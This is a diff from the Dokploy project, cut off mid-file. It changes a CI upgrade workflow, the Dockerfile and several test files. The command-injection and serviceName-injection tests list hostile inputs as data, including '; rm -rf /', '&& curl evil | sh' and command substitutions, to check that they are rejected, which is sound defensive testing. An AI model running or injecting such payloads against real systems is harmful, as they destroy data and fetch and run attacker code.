||||||
|
MG_ID: ${{ steps.create.outputs.mg_id }}
|
||||||
|
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
|
||||||
|
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
|
||||||
|
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
|
||||||
|
run: |
|
||||||
|
check_status() {
|
||||||
|
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
|
||||||
|
STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
|
||||||
|
--data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
|
||||||
|
-b "$COOKIE" | \
|
||||||
|
jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
|
||||||
|
if [ "$STATUS" != "done" ]; then
|
||||||
|
echo "❌ $NAME status after upgrade: $STATUS"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
echo "✅ $NAME: $STATUS"
|
||||||
|
}
|
||||||
|
|
||||||
|
check_status postgres postgres.one postgresId "$PG_ID" applicationStatus
|
||||||
|
check_status mongo mongo.one mongoId "$MG_ID" applicationStatus
|
||||||
|
check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus
|
||||||
|
check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus
|
||||||
|
check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus
|
||||||
|
|
||||||
|
echo "=== docker service ls (post-upgrade) ==="
|
||||||
|
docker service ls
|
||||||
|
|
||||||
|
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
|
||||||
|
grep -E '^ci-' | grep -v ' 1/1' || true)
|
||||||
|
if [ -n "$FAIL" ]; then
|
||||||
|
echo "❌ User services not healthy after upgrade:"
|
||||||
|
echo "$FAIL"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
|
||||||
|
|
||||||
|
# ── Diagnostics on failure ─────────────────────────────────────────────
|
||||||
|
- name: Dump state on failure
|
||||||
|
if: failure()
|
||||||
|
run: |
|
||||||
|
echo "=== docker service ls ===" && docker service ls || true
|
||||||
|
echo "=== dokploy service tasks ===" && \
|
||||||
|
docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
|
||||||
|
echo "=== dokploy logs (last 200) ===" && \
|
||||||
|
docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
|
||||||
|
echo "=== install.sh tail ===" && \
|
||||||
|
tail -100 /tmp/install.sh 2>&1 || true
|
||||||
|
echo "=== signup response ===" && \
|
||||||
|
cat /tmp/signup.out 2>&1 || true
|
||||||
|
echo "=== disk usage ===" && df -h
|
||||||
|
|
||||||
|
# ── Job summary ────────────────────────────────────────────────────────
|
||||||
|
- name: Write job summary
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
STATUS="${{ job.status }}"
|
||||||
|
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
|
||||||
|
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
|
||||||
|
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
|
||||||
|
|
||||||
|
| Service | Image |
|
||||||
|
|---------|-------|
|
||||||
|
| ci-pg-db | postgres:15 |
|
||||||
|
| ci-mongo-db | mongo:7.0 |
|
||||||
|
| ci-static-app | nginx:alpine (static site) |
|
||||||
|
| ci-node-app | ealen/echo-server (Node.js hello-world) |
|
||||||
|
| ci-go-app | traefik/whoami (Go HTTP server) |
|
||||||
|
EOF
|
||||||
+4
-1
@@ -31,7 +31,7 @@ WORKDIR /app
|
|||||||
# Set production
|
# Set production
|
||||||
ENV NODE_ENV=production
|
ENV NODE_ENV=production
|
||||||
|
|
||||||
RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
|
RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
# Copy only the necessary files
|
# Copy only the necessary files
|
||||||
COPY --from=build /prod/dokploy/.next ./.next
|
COPY --from=build /prod/dokploy/.next ./.next
|
||||||
@@ -69,5 +69,8 @@ EXPOSE 3000
|
|||||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
|
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
|
||||||
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
|
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
|
||||||
|
|
||||||
|
# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
|
||||||
|
ENTRYPOINT ["/usr/bin/tini", "--"]
|
||||||
|
|
||||||
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
|
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
|
||||||
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
|
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
|
||||||
|
|||||||
@@ -28,7 +28,7 @@
|
|||||||
"@types/react-dom": "^19.2.0",
|
"@types/react-dom": "^19.2.0",
|
||||||
"rimraf": "6.1.3",
|
"rimraf": "6.1.3",
|
||||||
"tsx": "^4.22.4",
|
"tsx": "^4.22.4",
|
||||||
"typescript": "^5.8.3"
|
"typescript": "^7.0.2"
|
||||||
},
|
},
|
||||||
"packageManager": "pnpm@10.22.0",
|
"packageManager": "pnpm@10.22.0",
|
||||||
"engines": {
|
"engines": {
|
||||||
|
|||||||
@@ -2,13 +2,12 @@
|
|||||||
"compilerOptions": {
|
"compilerOptions": {
|
||||||
"target": "ESNext",
|
"target": "ESNext",
|
||||||
"module": "ESNext",
|
"module": "ESNext",
|
||||||
"moduleResolution": "Node",
|
"moduleResolution": "bundler",
|
||||||
"strict": true,
|
"strict": true,
|
||||||
"skipLibCheck": true,
|
"skipLibCheck": true,
|
||||||
"outDir": "dist",
|
"outDir": "dist",
|
||||||
|
"rootDir": "./src",
|
||||||
"jsx": "react-jsx",
|
"jsx": "react-jsx",
|
||||||
"jsxImportSource": "hono/jsx",
|
|
||||||
"baseUrl": ".",
|
|
||||||
"paths": {
|
"paths": {
|
||||||
"@/*": ["./*"],
|
"@/*": ["./*"],
|
||||||
"@dokploy/server/*": ["../../packages/server/src/*"]
|
"@dokploy/server/*": ["../../packages/server/src/*"]
|
||||||
|
|||||||
@@ -0,0 +1,23 @@
|
|||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { z } from "zod";
|
||||||
|
|
||||||
|
const revokeSessionSchema = z.object({
|
||||||
|
sessionId: z.string(),
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("revokeSession input validation", () => {
|
||||||
|
it("accepts a valid session id", () => {
|
||||||
|
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects missing sessionId", () => {
|
||||||
|
const result = revokeSessionSchema.safeParse({});
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects non-string sessionId", () => {
|
||||||
|
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import {
|
||||||
|
getRestoreCommand,
|
||||||
|
stripDatabaseSwitchCommand,
|
||||||
|
} from "@dokploy/server/utils/restore/utils";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
const filter = (input: string) =>
|
||||||
|
execSync(stripDatabaseSwitchCommand, {
|
||||||
|
input,
|
||||||
|
shell: "/bin/bash",
|
||||||
|
}).toString();
|
||||||
|
|
||||||
|
describe("restore drops database-switch statements (mysql/mariadb)", () => {
|
||||||
|
const dump = [
|
||||||
|
"-- MariaDB dump",
|
||||||
|
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
|
||||||
|
"USE `production_db`;",
|
||||||
|
"use production_db;",
|
||||||
|
"DROP TABLE IF EXISTS `users`;",
|
||||||
|
"CREATE TABLE `users` (`id` int NOT NULL);",
|
||||||
|
"INSERT INTO `users` VALUES (1),(2);",
|
||||||
|
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||||
|
].join("\n");
|
||||||
|
|
||||||
|
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
|
||||||
|
const result = filter(dump);
|
||||||
|
expect(result).not.toContain("USE `production_db`");
|
||||||
|
expect(result).not.toContain("use production_db");
|
||||||
|
expect(result).not.toContain("CREATE DATABASE /*!32312");
|
||||||
|
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
|
||||||
|
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
|
||||||
|
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
|
||||||
|
expect(result).toContain(
|
||||||
|
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("is wired into mysql and mariadb restore pipelines only", () => {
|
||||||
|
const base = {
|
||||||
|
appName: "my-app",
|
||||||
|
restoreType: "database" as const,
|
||||||
|
credentials: {
|
||||||
|
database: "dev_db",
|
||||||
|
databaseUser: "u",
|
||||||
|
databasePassword: "p",
|
||||||
|
},
|
||||||
|
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
|
||||||
|
};
|
||||||
|
for (const type of ["mysql", "mariadb"] as const) {
|
||||||
|
const cmd = getRestoreCommand({ ...base, type });
|
||||||
|
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
|
||||||
|
}
|
||||||
|
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
|
||||||
|
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
|
|||||||
|
|
||||||
const PAYLOADS = [
|
const PAYLOADS = [
|
||||||
`$(touch ${MARK})`,
|
`$(touch ${MARK})`,
|
||||||
"`touch " + MARK + "`",
|
`\`touch ${MARK}\``,
|
||||||
`x; touch ${MARK}`,
|
`x; touch ${MARK}`,
|
||||||
`x | touch ${MARK}`,
|
`x | touch ${MARK}`,
|
||||||
];
|
];
|
||||||
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
|
|||||||
"deploy/docker-compose.prod.yml",
|
"deploy/docker-compose.prod.yml",
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it("allows chained docker compose commands with '&&'", () => {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
command:
|
||||||
|
"compose pull && docker compose down && docker compose up -d --build",
|
||||||
|
} as any);
|
||||||
|
expect(cmd).toBe(
|
||||||
|
"compose pull && docker compose down && docker compose up -d --build",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows chaining with the legacy 'docker-compose' spelling", () => {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
command: "compose pull && docker-compose down",
|
||||||
|
} as any);
|
||||||
|
expect(cmd).toBe("compose pull && docker-compose down");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a single '&' used for backgrounding", () => {
|
||||||
|
expect(() =>
|
||||||
|
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
|
||||||
|
).toThrow(/Single '&' is not allowed/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a malformed '&&&' chain", () => {
|
||||||
|
expect(() =>
|
||||||
|
createCommand({
|
||||||
|
...base,
|
||||||
|
command: "compose pull &&& docker compose up -d",
|
||||||
|
} as any),
|
||||||
|
).toThrow(/Single '&' is not allowed/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects chained segments that are not docker compose invocations", () => {
|
||||||
|
expect(() =>
|
||||||
|
createCommand({
|
||||||
|
...base,
|
||||||
|
command: "compose pull && rm -rf /",
|
||||||
|
} as any),
|
||||||
|
).toThrow(/must strictly start with 'docker compose '/);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects an attempted injection smuggled inside a chained segment", () => {
|
||||||
|
for (const bad of [
|
||||||
|
"compose pull && docker compose up -d; touch /tmp/pwn",
|
||||||
|
"compose pull && docker compose up -d $(touch /tmp/pwn)",
|
||||||
|
"compose pull && docker compose up -d `touch /tmp/pwn`",
|
||||||
|
"compose pull && docker compose up -d | touch /tmp/pwn",
|
||||||
|
]) {
|
||||||
|
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||||
|
/Invalid characters/,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
|
||||||
|
expect(() =>
|
||||||
|
createCommand({
|
||||||
|
...base,
|
||||||
|
command: "compose pull && curl evil.sh | docker compose up -d",
|
||||||
|
} as any),
|
||||||
|
).toThrow(/Invalid characters/);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -0,0 +1,69 @@
|
|||||||
|
import { parse } from "shell-quote";
|
||||||
|
import { describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
|
||||||
|
// "exists" but does not contain the attacker's service, forcing the error path
|
||||||
|
// whose message embeds the user-controlled serviceName.
|
||||||
|
vi.mock("node:fs", async (importOriginal) => {
|
||||||
|
const actual = await importOriginal<typeof import("node:fs")>();
|
||||||
|
return {
|
||||||
|
...actual,
|
||||||
|
existsSync: () => true,
|
||||||
|
readFileSync: () => "services:\n web:\n image: nginx\n",
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
|
||||||
|
|
||||||
|
const baseCompose = {
|
||||||
|
appName: "my-app",
|
||||||
|
serverId: null,
|
||||||
|
composeType: "docker-compose",
|
||||||
|
sourceType: "raw",
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
isolatedDeployment: false,
|
||||||
|
randomize: false,
|
||||||
|
suffix: "",
|
||||||
|
} as any;
|
||||||
|
|
||||||
|
const makeDomain = (serviceName: string) =>
|
||||||
|
({
|
||||||
|
host: "example.com",
|
||||||
|
serviceName,
|
||||||
|
https: false,
|
||||||
|
uniqueConfigKey: 1,
|
||||||
|
port: 3000,
|
||||||
|
enabled: true,
|
||||||
|
}) as any;
|
||||||
|
|
||||||
|
// If the returned shell fragment is safe, parse() yields only string tokens.
|
||||||
|
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
|
||||||
|
const leaksShellSyntax = (command: string, marker: string) =>
|
||||||
|
parse(command).some(
|
||||||
|
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||||
|
);
|
||||||
|
|
||||||
|
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
|
||||||
|
it("does not let a malicious serviceName inject shell operators", async () => {
|
||||||
|
const result = await writeDomainsToCompose(baseCompose, [
|
||||||
|
makeDomain("$(touch /tmp/pwned)"),
|
||||||
|
]);
|
||||||
|
|
||||||
|
// The service does not exist in the compose, so we hit the error branch.
|
||||||
|
expect(result).toContain("Has occurred an error");
|
||||||
|
// The payload text may appear inside the single-quoted echo argument, but
|
||||||
|
// it must never parse as a shell operator ($(), backtick, ; …).
|
||||||
|
expect(leaksShellSyntax(result, "touch")).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("neutralizes backtick and semicolon payloads too", async () => {
|
||||||
|
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
|
||||||
|
const result = await writeDomainsToCompose(baseCompose, [
|
||||||
|
makeDomain(`svc${payload}`),
|
||||||
|
]);
|
||||||
|
expect(leaksShellSyntax(result, "rm")).toBe(false);
|
||||||
|
expect(leaksShellSyntax(result, "curl")).toBe(false);
|
||||||
|
expect(leaksShellSyntax(result, "id")).toBe(false);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,306 @@
|
|||||||
|
import type { Compose } from "@dokploy/server/services/compose";
|
||||||
|
import type { Domain } from "@dokploy/server/services/domain";
|
||||||
|
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||||
|
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
// With sourceType "raw", addDomainToCompose parses compose.composeFile
|
||||||
|
// directly instead of reading from disk, so baseCompose exposes it as a
|
||||||
|
// getter that always reflects the current composeYaml for each test case.
|
||||||
|
const baseComposeYaml = `
|
||||||
|
services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
`;
|
||||||
|
let composeYaml = baseComposeYaml;
|
||||||
|
|
||||||
|
const baseCompose = {
|
||||||
|
appName: "test-app",
|
||||||
|
composeType: "docker-compose",
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
sourceType: "raw",
|
||||||
|
serverId: null,
|
||||||
|
isolatedDeployment: false,
|
||||||
|
randomize: false,
|
||||||
|
suffix: "",
|
||||||
|
get composeFile() {
|
||||||
|
return composeYaml;
|
||||||
|
},
|
||||||
|
} as unknown as Compose;
|
||||||
|
|
||||||
|
const baseDomain: Domain = {
|
||||||
|
host: "frigate.example.com",
|
||||||
|
port: 8971,
|
||||||
|
customEntrypoint: null,
|
||||||
|
https: false,
|
||||||
|
uniqueConfigKey: 1,
|
||||||
|
customCertResolver: null,
|
||||||
|
certificateType: "none",
|
||||||
|
applicationId: "",
|
||||||
|
composeId: "compose-id",
|
||||||
|
domainType: "compose",
|
||||||
|
serviceName: "frigate",
|
||||||
|
domainId: "domain-id",
|
||||||
|
path: "/",
|
||||||
|
createdAt: "",
|
||||||
|
previewDeploymentId: "",
|
||||||
|
internalPath: "/",
|
||||||
|
stripPath: false,
|
||||||
|
middlewares: null,
|
||||||
|
forwardAuthEnabled: false,
|
||||||
|
enabled: true,
|
||||||
|
};
|
||||||
|
|
||||||
|
const serviceLabels = (
|
||||||
|
result: Awaited<ReturnType<typeof addDomainToCompose>>,
|
||||||
|
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
|
||||||
|
|
||||||
|
describe("addDomainToCompose enabled filtering", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.clearAllMocks();
|
||||||
|
composeYaml = baseComposeYaml;
|
||||||
|
});
|
||||||
|
|
||||||
|
it("generates traefik labels for an enabled domain", async () => {
|
||||||
|
const result = await addDomainToCompose(baseCompose, [
|
||||||
|
{ ...baseDomain, enabled: true },
|
||||||
|
]);
|
||||||
|
|
||||||
|
const labels = serviceLabels(result);
|
||||||
|
expect(labels).toContain("traefik.enable=true");
|
||||||
|
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("skips a disabled domain entirely (no traefik labels)", async () => {
|
||||||
|
const result = await addDomainToCompose(baseCompose, [
|
||||||
|
{ ...baseDomain, enabled: false },
|
||||||
|
]);
|
||||||
|
|
||||||
|
const labels = serviceLabels(result);
|
||||||
|
expect(labels).not.toContain("traefik.enable=true");
|
||||||
|
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it.each([
|
||||||
|
[
|
||||||
|
"docker-compose",
|
||||||
|
`services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
labels:
|
||||||
|
- traefik.enable=true
|
||||||
|
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||||
|
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||||
|
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||||
|
- custom.label=preserved
|
||||||
|
`,
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"stack",
|
||||||
|
`services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
deploy:
|
||||||
|
labels:
|
||||||
|
- traefik.enable=true
|
||||||
|
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||||
|
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||||
|
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||||
|
- custom.label=preserved
|
||||||
|
`,
|
||||||
|
],
|
||||||
|
] as const)(
|
||||||
|
"removes stale labels for a disabled domain from %s rebuilds",
|
||||||
|
async (composeType, staleComposeYaml) => {
|
||||||
|
composeYaml = staleComposeYaml;
|
||||||
|
|
||||||
|
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||||
|
{ ...baseDomain, enabled: false },
|
||||||
|
]);
|
||||||
|
|
||||||
|
const service = result?.services?.frigate;
|
||||||
|
const labels =
|
||||||
|
composeType === "docker-compose"
|
||||||
|
? service?.labels
|
||||||
|
: service?.deploy?.labels;
|
||||||
|
expect(labels).toContain("custom.label=preserved");
|
||||||
|
expect(
|
||||||
|
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||||
|
).toBe(false);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
it.each([
|
||||||
|
[
|
||||||
|
"docker-compose",
|
||||||
|
`services:
|
||||||
|
legacy:
|
||||||
|
image: frigate
|
||||||
|
labels:
|
||||||
|
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||||
|
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||||
|
- custom.label=preserved
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
`,
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"stack",
|
||||||
|
`services:
|
||||||
|
legacy:
|
||||||
|
image: frigate
|
||||||
|
deploy:
|
||||||
|
labels:
|
||||||
|
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||||
|
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||||
|
- custom.label=preserved
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
`,
|
||||||
|
],
|
||||||
|
] as const)(
|
||||||
|
"removes stale labels from the previous %s service after reassignment",
|
||||||
|
async (composeType, staleComposeYaml) => {
|
||||||
|
composeYaml = staleComposeYaml;
|
||||||
|
|
||||||
|
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||||
|
{ ...baseDomain, serviceName: "frigate", enabled: false },
|
||||||
|
]);
|
||||||
|
|
||||||
|
const previousService = result?.services?.legacy;
|
||||||
|
const labels =
|
||||||
|
composeType === "docker-compose"
|
||||||
|
? previousService?.labels
|
||||||
|
: previousService?.deploy?.labels;
|
||||||
|
expect(labels).toContain("custom.label=preserved");
|
||||||
|
expect(
|
||||||
|
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||||
|
).toBe(false);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
it.each([
|
||||||
|
[
|
||||||
|
"docker-compose",
|
||||||
|
`services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
labels:
|
||||||
|
traefik.enable: "true"
|
||||||
|
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||||
|
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||||
|
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||||
|
custom.label: preserved
|
||||||
|
`,
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"stack",
|
||||||
|
`services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
deploy:
|
||||||
|
labels:
|
||||||
|
traefik.enable: "true"
|
||||||
|
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||||
|
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||||
|
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||||
|
custom.label: preserved
|
||||||
|
`,
|
||||||
|
],
|
||||||
|
] as const)(
|
||||||
|
"removes stale mapping labels for a disabled domain from %s rebuilds",
|
||||||
|
async (composeType, staleComposeYaml) => {
|
||||||
|
composeYaml = staleComposeYaml;
|
||||||
|
|
||||||
|
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||||
|
{ ...baseDomain, enabled: false },
|
||||||
|
]);
|
||||||
|
|
||||||
|
const service = result?.services?.frigate;
|
||||||
|
const labels =
|
||||||
|
composeType === "docker-compose"
|
||||||
|
? service?.labels
|
||||||
|
: service?.deploy?.labels;
|
||||||
|
expect(labels).toMatchObject({ "custom.label": "preserved" });
|
||||||
|
expect(
|
||||||
|
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
|
||||||
|
).toBe(false);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
it.each([
|
||||||
|
[
|
||||||
|
"docker-compose",
|
||||||
|
`services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
labels:
|
||||||
|
traefik.enable: "true"
|
||||||
|
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||||
|
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||||
|
custom.label: preserved
|
||||||
|
`,
|
||||||
|
"traefik.docker.network",
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"stack",
|
||||||
|
`services:
|
||||||
|
frigate:
|
||||||
|
image: frigate
|
||||||
|
deploy:
|
||||||
|
labels:
|
||||||
|
traefik.enable: "true"
|
||||||
|
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||||
|
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||||
|
custom.label: preserved
|
||||||
|
`,
|
||||||
|
"traefik.swarm.network",
|
||||||
|
],
|
||||||
|
] as const)(
|
||||||
|
"regenerates routing in mapping labels for an enabled domain in %s",
|
||||||
|
async (composeType, mappingComposeYaml, networkLabel) => {
|
||||||
|
composeYaml = mappingComposeYaml;
|
||||||
|
|
||||||
|
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||||
|
{ ...baseDomain, enabled: true },
|
||||||
|
]);
|
||||||
|
|
||||||
|
const service = result?.services?.frigate;
|
||||||
|
const labels =
|
||||||
|
composeType === "docker-compose"
|
||||||
|
? service?.labels
|
||||||
|
: service?.deploy?.labels;
|
||||||
|
expect(labels).toMatchObject({
|
||||||
|
"custom.label": "preserved",
|
||||||
|
"traefik.enable": "true",
|
||||||
|
[networkLabel]: "dokploy-network",
|
||||||
|
"traefik.http.routers.test-app-1-web.rule":
|
||||||
|
"Host(`frigate.example.com`)",
|
||||||
|
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
|
||||||
|
});
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
it("emits labels only for the enabled domain when both are present", async () => {
|
||||||
|
const result = await addDomainToCompose(baseCompose, [
|
||||||
|
{ ...baseDomain, host: "enabled.example.com", enabled: true },
|
||||||
|
{
|
||||||
|
...baseDomain,
|
||||||
|
host: "disabled.example.com",
|
||||||
|
uniqueConfigKey: 2,
|
||||||
|
enabled: false,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
|
||||||
|
const labels = serviceLabels(result);
|
||||||
|
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
|
|||||||
customEntrypoint: null,
|
customEntrypoint: null,
|
||||||
middlewares: null,
|
middlewares: null,
|
||||||
forwardAuthEnabled: false,
|
forwardAuthEnabled: false,
|
||||||
|
enabled: true,
|
||||||
};
|
};
|
||||||
|
|
||||||
describe("Host rule format validation", () => {
|
describe("Host rule format validation", () => {
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
|
|||||||
stripPath: false,
|
stripPath: false,
|
||||||
middlewares: null,
|
middlewares: null,
|
||||||
forwardAuthEnabled: false,
|
forwardAuthEnabled: false,
|
||||||
|
enabled: true,
|
||||||
};
|
};
|
||||||
|
|
||||||
it("should create basic labels for web entrypoint", async () => {
|
it("should create basic labels for web entrypoint", async () => {
|
||||||
|
|||||||
@@ -0,0 +1,59 @@
|
|||||||
|
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||||
|
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||||
|
import { describe, expect, it, vi } from "vitest";
|
||||||
|
|
||||||
|
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
|
||||||
|
...(await importOriginal<
|
||||||
|
typeof import("@dokploy/server/utils/process/execAsync")
|
||||||
|
>()),
|
||||||
|
execAsyncRemote: vi.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
describe("raw remote compose conversion (#4794)", () => {
|
||||||
|
it("uses the saved raw source and preserves supported mount syntax", async () => {
|
||||||
|
vi.mocked(execAsyncRemote).mockResolvedValue({
|
||||||
|
